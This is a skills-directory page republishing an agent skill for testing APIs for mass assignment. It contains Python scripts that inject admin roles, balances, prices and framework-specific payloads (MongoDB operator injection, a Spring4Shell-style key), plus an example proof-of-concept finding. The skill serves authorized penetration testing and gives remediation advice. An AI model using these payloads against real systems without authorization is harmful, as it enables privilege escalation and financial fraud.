Agent skill

Testing API For Mass Assignment Vulnerability

by mukul975 in mukul975/Anthropic-Cybersecurity-Skills

Tests APIs for mass assignment (auto-binding), OWASP API3:2023, by identifying writable endpoints, adding undocumented fields to request bodies (role, isAdmin, price, balance), and checking whether…

Apache-2.0Auto-check passedSecurity

Install Testing API For Mass Assignment Vulnerability

skills CLI
$ npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-api-for-mass-assignment-vulnerability -a claude-code

Project install by default; add -g for ~/.claude/skills/.

GitHub CLI
$ gh skill install mukul975/Anthropic-Cybersecurity-Skills testing-api-for-mass-assignment-vulnerability --agent claude-code

Project scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).

Manual copy
$ git clone --depth 1 https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git skills-src && mkdir -p .claude/skills && cp -r skills-src/skills/testing-api-for-mass-assignment-vulnerability .claude/skills/testing-api-for-mass-assignment-vulnerability && rm -rf skills-src

Use ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.

Claude Code skills documentation · loads skills from .claude/skills/

Facts

Skill name
testing-api-for-mass-assignment-vulnerability
GitHub stars
34k
Token cost
~4k tokens
SKILL.md length
562 words
Files
4 (incl. scripts, references)
Skills in repo
637
Repo updated
First seen
Licence
Apache-2.0

At a glance

Tests APIs for mass assignment (auto-binding), OWASP API3:2023, by identifying writable endpoints, adding undocumented fields to request bodies (role, isAdmin, price, balance), and checking whether…

  • Works in 5 steps: Identify Writable Endpoints and Expected… → Inject Privileged Fields → Verify Assignment Through State Change → …
  • Testing an API for mass assignment
  • SKILL.md covers When to Use, Prerequisites, Workflow and Key Concepts, plus 3 more sections
  • Runs Python scripts from its folder

What it does

Testing API For Mass Assignment Vulnerability is an agent skill from mukul975/Anthropic-Cybersecurity-Skills. Tests APIs for mass assignment (auto-binding), OWASP API3:2023, by identifying writable endpoints, adding undocumented fields to request bodies (role, isAdmin, price, balance), and checking whether the server binds them to the data model without filtering. Use when testing an API for mass assignment, parameter binding abuse, or over-posting on profile, registration, or object-creation endpoints.

Its SKILL.md is about 4k tokens, which your agent loads only when the skill is triggered. The skill folder holds 5 other files, including scripts and reference files (for example `references/api-reference.md` and `scripts/agent.py`).

It sits in Security, covering Web application vulnerabilities. The repository describes itself as: 817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io…. The licence is Apache-2.0.

When your agent uses it

  • Testing an API for mass assignment
  • Parameter binding abuse
  • Over-posting on profile
  • Object-creation endpoints

Example prompts

  • “Use the testing-api-for-mass-assignment-vulnerability skill to test APIs for mass assignment (auto-binding), OWASP API3:2023, by identifying…”
  • “/testing-api-for-mass-assignment-vulnerability”

Requirements

  • Python 3

Workflow steps

5 steps, taken from the step headings in SKILL.md.

  1. Identify Writable Endpoints and Expected Parameters
  2. Inject Privileged Fields
  3. Verify Assignment Through State Change
  4. Framework-Specific Testing
  5. Order and Financial Object Mass Assignment

What it can do on your machine

Read from SKILL.md and the folder at commit 54a7988. It shows what the files ask for, not the result of running them.

  • Tool permissions

    Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.

    From allowed-tools in the SKILL.md frontmatter.

  • Runs code

    Ships 1 file in scripts/ (Python), which the agent can run.

    From the folder's file list and the shell code blocks in SKILL.md.

  • Network

    No URLs in SKILL.md.

    From URLs in SKILL.md, links to its own repository left out.

  • Credentials

    Names no API keys, tokens, secrets or passwords.

    From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.

Context cost

Testing API For Mass Assignment Vulnerability loads about 4k tokens when it runs, and up to ~4.4k if it reads all its reference files. Until then it costs about 111 tokens; SKILL.md has 562 words of instructions outside code blocks.

Always · name and description, kept in context so the agent knows when to use it
~111
When it runs · the whole SKILL.md, loaded when a task matches
~4k
With references · SKILL.md plus every file in references/, read only if the agent opens them
~4.4k

Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.

Safety

Auto-check passed

The automated check found no risky patterns in SKILL.md.

Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); the scripts in this folder are not scanned.

SKILL.md

The full file from mukul975/Anthropic-Cybersecurity-Skills at commit 54a7988, republished under its Apache-2.0 licence (© mukul975). 562 words, ~3,971 tokens.

Download SKILL.mdSave it as .claude/skills/testing-api-for-mass-assignment-vulnerability/SKILL.md (or your agent's skills folder). This skill also uses 3 other files; get the full folder from GitHub.
name
testing-api-for-mass-assignment-vulnerability
description
Tests APIs for mass assignment (auto-binding), OWASP API3:2023, by identifying writable endpoints, adding undocumented fields to request bodies (role, isAdmin, price, balance), and checking whether the server binds them to the data model without filtering. Use when testing an API for mass assignment, parameter binding abuse, or over-posting on profile, registration, or object-creation endpoints.
domain
cybersecurity
subdomain
api-security
tags
api-security, owasp, mass-assignment, auto-binding, parameter-tampering
version
1.0.0
author
mahipal
license
Apache-2.0
nist_csf
PR.PS-01, ID.RA-01, PR.DS-10, DE.CM-01
mitre_attack
T1190, T1059.007, T1552.001, T0816, T0836

Testing API for Mass Assignment Vulnerability

When to Use

  • Testing API endpoints that accept JSON/XML request bodies for user profile updates, registration, or object creation
  • Assessing whether the API binds all client-supplied properties to the data model without an allowlist
  • Evaluating if users can set privileged attributes (role, permissions, pricing, balance) through regular update endpoints
  • Testing APIs built with ORMs that auto-bind request parameters to database models
  • Validating that server-side input validation restricts writeable properties per user role

Do not use without written authorization. Mass assignment testing involves modifying object properties in potentially destructive ways.

Prerequisites

  • Written authorization specifying target API endpoints and scope
  • Test accounts at different privilege levels
  • API documentation or OpenAPI specification to identify expected request fields
  • Burp Suite Professional for request interception and parameter injection
  • Python 3.10+ with requests library
  • Knowledge of the backend framework (Rails, Django, Express, Spring) to predict parameter binding behavior

Workflow

Step 1: Identify Writable Endpoints and Expected Parameters
python
import requests
import json
import copy

BASE_URL = "https://target-api.example.com/api/v1"
user_headers = {"Authorization": "Bearer <user_token>", "Content-Type": "application/json"}

# Identify endpoints that accept write operations
writable_endpoints = [
    {"method": "POST", "path": "/users/register", "expected_fields": ["email", "password", "name"]},
    {"method": "PUT", "path": "/users/me", "expected_fields": ["name", "email", "avatar"]},
    {"method": "PATCH", "path": "/users/me", "expected_fields": ["name", "bio"]},
    {"method": "POST", "path": "/orders", "expected_fields": ["items", "shipping_address"]},
    {"method": "PUT", "path": "/orders/1001", "expected_fields": ["shipping_address"]},
    {"method": "POST", "path": "/products", "expected_fields": ["name", "description", "price"]},
    {"method": "POST", "path": "/comments", "expected_fields": ["body", "post_id"]},
    {"method": "PUT", "path": "/settings", "expected_fields": ["notifications", "language"]},
]

# First, get the current user state as baseline
baseline_user = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Baseline user state: {json.dumps(baseline_user, indent=2)}")
Step 2: Inject Privileged Fields
python
# Fields that should never be user-writable
PRIVILEGE_FIELDS = {
    "role_elevation": {"role": "admin", "user_role": "admin", "userRole": "admin",
                       "account_type": "admin", "accountType": "admin"},
    "admin_flags": {"is_admin": True, "isAdmin": True, "admin": True,
                    "is_superuser": True, "isSuperuser": True, "superuser": True},
    "permission_override": {"permissions": ["*"], "scopes": ["admin:*"],
                           "groups": ["administrators"], "roles": ["admin"]},
    "account_status": {"is_active": True, "isActive": True, "verified": True,
                       "email_verified": True, "is_verified": True, "status": "active"},
    "financial": {"balance": 99999.99, "credit": 99999, "discount": 100,
                  "price": 0.01, "amount": 0.01},
    "ownership": {"user_id": 1, "userId": 1, "owner_id": 1, "ownerId": 1,
                  "created_by": 1, "createdBy": 1},
    "internal": {"internal_notes": "test", "debug": True, "hidden": False,
                 "is_deleted": False, "is_featured": True, "priority": 0},
    "temporal": {"created_at": "2020-01-01", "updated_at": "2020-01-01",
                 "createdAt": "2020-01-01", "updatedAt": "2020-01-01"},
}

def test_mass_assignment(endpoint_info):
    """Test a writable endpoint for mass assignment vulnerabilities."""
    method = endpoint_info["method"]
    path = endpoint_info["path"]
    expected = endpoint_info["expected_fields"]
    findings = []

    # Build a valid base request
    base_body = {}
    for field in expected:
        if field == "email":
            base_body[field] = "test@example.com"
        elif field == "password":
            base_body[field] = "SecurePass123!"
        elif field == "name":
            base_body[field] = "Test User"
        elif field == "items":
            base_body[field] = [{"product_id": 1, "quantity": 1}]
        else:
            base_body[field] = "test_value"

    # Test each category of privileged fields
    for category, fields in PRIVILEGE_FIELDS.items():
        test_body = {**base_body, **fields}
        resp = requests.request(method, f"{BASE_URL}{path}",
                              headers=user_headers, json=test_body)

        if resp.status_code in (200, 201):
            # Verify if the fields were actually set
            resp_data = resp.json()
            for field_name, injected_value in fields.items():
                actual = resp_data.get(field_name)
                if actual is not None and str(actual) == str(injected_value):
                    findings.append({
                        "endpoint": f"{method} {path}",
                        "category": category,
                        "field": field_name,
                        "injected_value": injected_value,
                        "confirmed": True
                    })
                    print(f"[MASS ASSIGNMENT] {method} {path}: {field_name}={injected_value} accepted")

    return findings

all_findings = []
for endpoint in writable_endpoints:
    findings = test_mass_assignment(endpoint)
    all_findings.extend(findings)

print(f"\nTotal mass assignment findings: {len(all_findings)}")
Step 3: Verify Assignment Through State Change
python
def verify_mass_assignment(field_name, injected_value, verification_endpoint="/users/me"):
    """Verify that the mass-assigned field actually persists in the database."""
    # Re-fetch the object to confirm the field was saved
    resp = requests.get(f"{BASE_URL}{verification_endpoint}", headers=user_headers)
    if resp.status_code == 200:
        current_state = resp.json()
        actual_value = current_state.get(field_name)
        if actual_value is not None:
            match = str(actual_value) == str(injected_value)
            print(f"  Verification: {field_name} = {actual_value} (injected: {injected_value}) -> {'CONFIRMED' if match else 'NOT MATCHED'}")
            return match
    return False

# Test role elevation via profile update
print("\n=== Role Elevation Test ===")
# Step 1: Check current role
me = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Current role: {me.get('role', 'unknown')}")

# Step 2: Attempt to set admin role
update_resp = requests.put(f"{BASE_URL}/users/me",
    headers=user_headers,
    json={"name": me.get("name", "Test"), "role": "admin"})
print(f"Update response: {update_resp.status_code}")

# Step 3: Verify if role changed
me_after = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Role after update: {me_after.get('role', 'unknown')}")
if me_after.get("role") == "admin":
    print("[CRITICAL] Mass assignment: Role elevated to admin")

# Step 4: Test admin access
admin_resp = requests.get(f"{BASE_URL}/admin/users", headers=user_headers)
if admin_resp.status_code == 200:
    print("[CRITICAL] Admin access confirmed after role elevation")
Step 4: Framework-Specific Testing
python
# Ruby on Rails / Active Record style
rails_payloads = [
    {"user": {"name": "Test", "role": "admin", "admin": True}},  # Nested under model name
    {"user[name]": "Test", "user[role]": "admin"},                # Form-style nested
]

# Django REST Framework style
django_payloads = [
    {"username": "test", "is_staff": True, "is_superuser": True},
    {"username": "test", "groups": [1]},  # Add to admin group by ID
]

# Express.js / Mongoose style
express_payloads = [
    {"name": "test", "__v": 0, "_id": "000000000000000000000001"},  # Override MongoDB _id
    {"name": "test", "$set": {"role": "admin"}},                     # MongoDB operator injection
]

# Spring Boot / JPA style
spring_payloads = [
    {"name": "test", "authorities": [{"authority": "ROLE_ADMIN"}]},
    {"name": "test", "class.module.classLoader": ""},  # Spring4Shell style
]

# Test each framework-specific payload
for payload in rails_payloads + django_payloads + express_payloads + spring_payloads:
    resp = requests.put(f"{BASE_URL}/users/me", headers=user_headers, json=payload)
    if resp.status_code in (200, 201):
        print(f"[ACCEPTED] Payload: {json.dumps(payload)[:100]} -> {resp.status_code}")
Step 5: Order and Financial Object Mass Assignment
python
# Test price/amount manipulation in e-commerce APIs
print("\n=== Financial Mass Assignment Tests ===")

# Test 1: Create order with manipulated price
order_body = {
    "items": [{"product_id": 42, "quantity": 1}],
    "shipping_address": {"street": "123 Test St", "city": "Test City"},
    # Injected fields
    "total": 0.01,
    "subtotal": 0.01,
    "discount_percent": 100,
    "coupon_code": "FREEORDER",
    "shipping_cost": 0,
    "tax": 0,
}

resp = requests.post(f"{BASE_URL}/orders", headers=user_headers, json=order_body)
if resp.status_code in (200, 201):
    order = resp.json()
    print(f"Order created - Total: {order.get('total', 'N/A')}, Discount: {order.get('discount_percent', 'N/A')}")
    if float(order.get("total", 999)) < 1.0:
        print("[CRITICAL] Price manipulation via mass assignment")

# Test 2: Modify order status
resp = requests.patch(f"{BASE_URL}/orders/1001",
    headers=user_headers,
    json={"status": "completed", "payment_status": "paid", "refund_amount": 0})
if resp.status_code == 200:
    print(f"[MASS ASSIGNMENT] Order status/payment fields modified")

# Test 3: User balance manipulation
resp = requests.put(f"{BASE_URL}/users/me/wallet",
    headers=user_headers,
    json={"amount": 10, "balance": 99999.99, "currency": "USD"})
if resp.status_code == 200:
    wallet = resp.json()
    if float(wallet.get("balance", 0)) > 10000:
        print("[CRITICAL] Wallet balance manipulation via mass assignment")

Key Concepts

TermDefinition
Mass AssignmentVulnerability where an API automatically binds client-supplied parameters to internal object properties without filtering, allowing modification of unintended fields
Auto-BindingFramework feature that maps HTTP request parameters directly to object model attributes, enabling mass assignment when no allowlist is configured
Allowlist (Whitelist)Server-side list of fields that the API explicitly allows clients to set, rejecting all other parameters
Blocklist (Blacklist)Server-side list of fields that the API explicitly blocks from client modification (less secure than allowlist)
Object Property Level AuthorizationOWASP API3:2023 - ensuring that users can only read/write object properties they are authorized to access
DTO (Data Transfer Object)Pattern where a separate object defines the allowed input fields, decoupling the API contract from the internal data model
Show full SKILL.md (257 more words)Show less

Tools & Systems

  • Burp Suite Professional: Intercept write requests and inject additional parameters using Repeater and Intruder
  • Param Miner (Burp Extension): Automatically discovers hidden parameters by fuzzing request bodies and headers
  • Arjun: Parameter discovery tool that finds hidden HTTP parameters in API endpoints
  • OWASP ZAP: Active scanner with parameter injection capabilities for mass assignment detection
  • Postman: API testing platform for crafting requests with injected parameters and verifying responses

Common Scenarios

Scenario: SaaS User Registration Mass Assignment

Context: A SaaS platform allows user self-registration through a REST API. The registration endpoint accepts name, email, and password. The backend uses an ORM that auto-binds request parameters to the User model.

Approach:

  1. Register a new user with only expected fields: POST /api/v1/register {"name":"Test","email":"test@example.com","password":"Pass123!"} - returns user with role: "user"
  2. Register another user with injected role: POST /api/v1/register {"name":"Admin","email":"admin@example.com","password":"Pass123!","role":"admin"} - returns user with role: "admin"
  3. Confirm admin access by calling admin endpoints with the new account
  4. Test additional fields: is_verified: true bypasses email verification, subscription_plan: "enterprise" grants premium features
  5. Test profile update endpoint: PUT /api/v1/users/me {"name":"Test","balance":99999} - wallet balance modified

Pitfalls:

  • Only testing obvious fields like "role" and missing domain-specific fields like "subscription_plan", "credit_limit", or "verified"
  • Not verifying that the injected field was actually saved (some APIs return 200 but silently ignore unknown fields)
  • Assuming that blocklisting "role" prevents mass assignment when "isAdmin", "is_admin", or "admin" may also work
  • Not testing both creation (POST) and update (PUT/PATCH) endpoints as they may have different filtering
  • Missing nested object mass assignment where fields like user.role or address.verified can be injected

Output Format

## Finding: Mass Assignment Enables Role Elevation via Registration API

**ID**: API-MASS-001
**Severity**: Critical (CVSS 9.8)
**OWASP API**: API3:2023 - Broken Object Property Level Authorization
**Affected Endpoints**:
  - POST /api/v1/register
  - PUT /api/v1/users/me
  - POST /api/v1/orders

**Description**:
The API binds all client-supplied JSON fields directly to the database model
without filtering. An attacker can include undocumented fields in registration
and update requests to elevate their role to admin, bypass email verification,
modify wallet balances, and manipulate order pricing.

**Proof of Concept**:
1. Register with injected role:
   POST /api/v1/register
   {"name":"Attacker","email":"attacker@evil.com","password":"P@ss123!","role":"admin"}
   Response: {"id":5001,"name":"Attacker","role":"admin","is_verified":false}

2. Update profile with injected balance:
   PUT /api/v1/users/me
   {"name":"Attacker","balance":99999.99}
   Response: {"id":5001,"balance":99999.99}

3. Create order with manipulated price:
   POST /api/v1/orders
   {"items":[{"product_id":42,"qty":1}],"total":0.01}
   Response: {"order_id":8001,"total":0.01}

**Impact**:
Any user can gain administrative access, manipulate financial data,
bypass security controls, and purchase products at arbitrary prices.

**Remediation**:
1. Implement DTOs/input schemas that explicitly define allowed fields per endpoint per role
2. Use framework-specific mass assignment protection (Rails: strong parameters, Django: serializer fields)
3. Never bind request parameters directly to the data model
4. Add integration tests that verify undocumented fields are rejected
5. Use an allowlist approach rather than blocklist for writable fields

© mukul975, Apache-2.0. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file

Files

SKILL.md and 3 other files (scripts, references) in skills/testing-api-for-mass-assignment-vulnerability of mukul975/Anthropic-Cybersecurity-Skills.

  • SKILL.md
  • LICENSE
  • references/api-reference.md
  • scripts/agent.py

Open the folder on GitHubat commit 54a7988

Compare with similar skills

Testing API For Mass Assignment Vulnerability next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.

Testing API For Mass Assignment Vulnerability compared with similar skills
SkillStarsUsed inTokensAuto-checkLicenceRepo updated
Testing API For Mass Assignment Vulnerability this skillmukul975/Anthropic-Cybersecurity-Skills34k—~4kAutomated safety check: PassApache-2.0
Security And Hardeningpenpot/penpot61k6 repos~4.7kAutomated safety check: NotesMPL-2.0
Security Auditoreigent-ai/eigent15k—~1.8kAutomated safety check: NotesApache-2.0
Security Reviewjewbetcha/opentrace11618 repos~3.1kAutomated safety check: NotesMIT
Strix Code Vulnerability Scanusestrix/strix67k—~1.1kAutomated safety check: PassApache-2.0
Code Audit3stoneBrother/code-audit8931 repos~2.7kAutomated safety check: PassNone

Similar skills

  • Hardens code against vulnerabilities. An agent skill from penpot/penpot.

    61k GitHub starsUsed in 6 repos~4.7k tokens
    SecurityAuto-check: notes
  • Security Auditor

    eigent-ai/eigent

    Audits source code, dependencies and config files for vulnerabilities and hardcoded secrets, using two bundled Python scanners and an OWASP Top 10 checklist.

    15k GitHub stars~1.8k tokensUpdated today
    SecurityAuto-check: notes
  • Security Review

    jewbetcha/opentrace

    A skill your agent uses when adding authentication, handling user input, working with secrets, creating API endpoints, or implementing payment/sensitive features.

    116 GitHub starsUsed in 18 repos~3.1k tokens
    SecurityAuto-check: notes
  • Runs a Strix white-box security review that reads the source, then exploits what it finds in a sandbox so each reported issue has a proof-of-concept.

    67k GitHub stars~1.1k tokensUpdated today
    SecurityAuto-check passed
  • Code Audit

    3stoneBrother/code-audit

    Professional code security audit skill covering 55+ vulnerability types.

    893 GitHub starsUsed in 1 repo~2.7k tokens
    SecurityAuto-check passed
  • Triages findings from a Strix pentest by severity, fixes each root cause with a minimal change, and re-runs Strix to confirm the exploit no longer works.

    67k GitHub stars~1.5k tokensUpdated today
    SecurityAuto-check passed

More from mukul975/Anthropic-Cybersecurity-Skills

All 637 skills in this repo
  • Campaign Attribution Evidence Analysis

    mukul975/Anthropic-Cybersecurity-Skills

    Weighs infrastructure, TTP, malware code and timing evidence with the Diamond Model and competing hypotheses to reach a confidence-rated attribution.

    34k GitHub stars~2.3k tokensUpdated 1 mo ago
    Auto-check passed
  • Go Malware Analysis in Ghidra

    mukul975/Anthropic-Cybersecurity-Skills

    Walks through reverse engineering Go-compiled malware in Ghidra: parsing buildinfo and pclntab, recovering stripped function names and extracting dependencies.

    34k GitHub stars~2.8k tokensUpdated 1 mo ago
    Auto-check passed
  • LNK and Jump List Forensics

    mukul975/Anthropic-Cybersecurity-Skills

    Guides forensic analysis of Windows LNK shortcut files and Jump Lists with LECmd, JLECmd and manual parsing to show file access and program execution.

    34k GitHub stars~2.8k tokensUpdated 1 mo ago
    Auto-check passed
  • Malware Persistence Analysis with Autoruns

    mukul975/Anthropic-Cybersecurity-Skills

    Hunts Windows malware persistence with Sysinternals Autoruns, covering run keys, services, scheduled tasks and drivers, with baseline comparison.

    34k GitHub stars~1.2k tokensUpdated 1 mo ago
    Auto-check passed
  • NTFS MFT Deleted File Recovery

    mukul975/Anthropic-Cybersecurity-Skills

    Guides a Windows forensic examination of the NTFS Master File Table to recover deleted-file evidence, build timelines and spot timestomping.

    34k GitHub stars~2.7k tokensUpdated 1 mo ago
    Auto-check passed
  • Network Covert Channel Analysis

    mukul975/Anthropic-Cybersecurity-Skills

    Detects DNS tunneling, ICMP exfiltration and HTTP-based covert channels in packet captures and DNS logs when hunting for hidden command-and-control traffic.

    34k GitHub stars~2k tokensUpdated 1 mo ago
    Auto-check passed

Categories

Questions about Testing API For Mass Assignment Vulnerability

What does Testing API For Mass Assignment Vulnerability do?

Tests APIs for mass assignment (auto-binding), OWASP API3:2023, by identifying writable endpoints, adding undocumented fields to request bodies (role, isAdmin, price, balance), and checking whether…. Testing API For Mass Assignment Vulnerability is an agent skill from mukul975/Anthropic-Cybersecurity-Skills. Tests APIs for mass assignment (auto-binding), OWASP API3:2023, by identifying writable endpoints, adding undocumented fields to request bodies (role, isAdmin, price, balance), and checking whether the server binds them to the data model without filtering.

When should I use Testing API For Mass Assignment Vulnerability?

Testing API For Mass Assignment Vulnerability fits situations like: testing an API for mass assignment; parameter binding abuse; over-posting on profile; object-creation endpoints.

How do I install Testing API For Mass Assignment Vulnerability in Claude Code?

Run `npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-api-for-mass-assignment-vulnerability -a claude-code`. Or copy the skill folder (skills/testing-api-for-mass-assignment-vulnerability in mukul975/Anthropic-Cybersecurity-Skills) into .claude/skills/testing-api-for-mass-assignment-vulnerability in your project. Claude Code loads it when a task matches its description.

How do I install Testing API For Mass Assignment Vulnerability in Codex?

Run `npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-api-for-mass-assignment-vulnerability -a codex`. Or copy the skill folder (skills/testing-api-for-mass-assignment-vulnerability in mukul975/Anthropic-Cybersecurity-Skills) into .agents/skills/testing-api-for-mass-assignment-vulnerability in your project. Codex loads it when a task matches its description.

Can I use Testing API For Mass Assignment Vulnerability in Cursor, Gemini CLI or GitHub Copilot?

Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-api-for-mass-assignment-vulnerability -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/testing-api-for-mass-assignment-vulnerability, .gemini/skills/testing-api-for-mass-assignment-vulnerability, .github/skills/testing-api-for-mass-assignment-vulnerability and .opencode/skills/testing-api-for-mass-assignment-vulnerability in your project.

What does Testing API For Mass Assignment Vulnerability need to run?

Going by SKILL.md and its folder, Testing API For Mass Assignment Vulnerability needs Python for the scripts in its folder. Our summary lists: Python 3.

Does Testing API For Mass Assignment Vulnerability access the network?

SKILL.md contains no URLs. Any network use would come from the scripts or tools the agent runs. This is read from the text; nothing was executed.

Is Testing API For Mass Assignment Vulnerability safe to install?

Our automated static check of SKILL.md found no risky patterns, such as piping downloads into a shell, reading credential files or hidden Unicode. It is not a guarantee. The check reads SKILL.md only: the scripts in the folder are not scanned, so read them before running anything.

What licence does Testing API For Mass Assignment Vulnerability use?

Testing API For Mass Assignment Vulnerability is published under the Apache-2.0 licence (declared in SKILL.md). It allows redistribution, so the full SKILL.md is shown on this page.

How many tokens does Testing API For Mass Assignment Vulnerability use?

About 4k tokens (SKILL.md is roughly 16k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full. Its references folder adds about 464 tokens, read only when the agent opens those files.

What are the alternatives to Testing API For Mass Assignment Vulnerability?

Skills that share tags, products or a category with Testing API For Mass Assignment Vulnerability: Security And Hardening (penpot/penpot, 61k stars), Security Auditor (eigent-ai/eigent, 15k stars), Security Review (jewbetcha/opentrace, 116 stars) and Strix Code Vulnerability Scan (usestrix/strix, 67k stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.

Who maintains Testing API For Mass Assignment Vulnerability?

mukul975 (a GitHub user) maintains it in mukul975/Anthropic-Cybersecurity-Skills, which has 33,922 GitHub stars. The repository holds 637 skills in this directory. The repository was last updated on August 31, 2026.

Source: mukul975/Anthropic-Cybersecurity-Skills on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.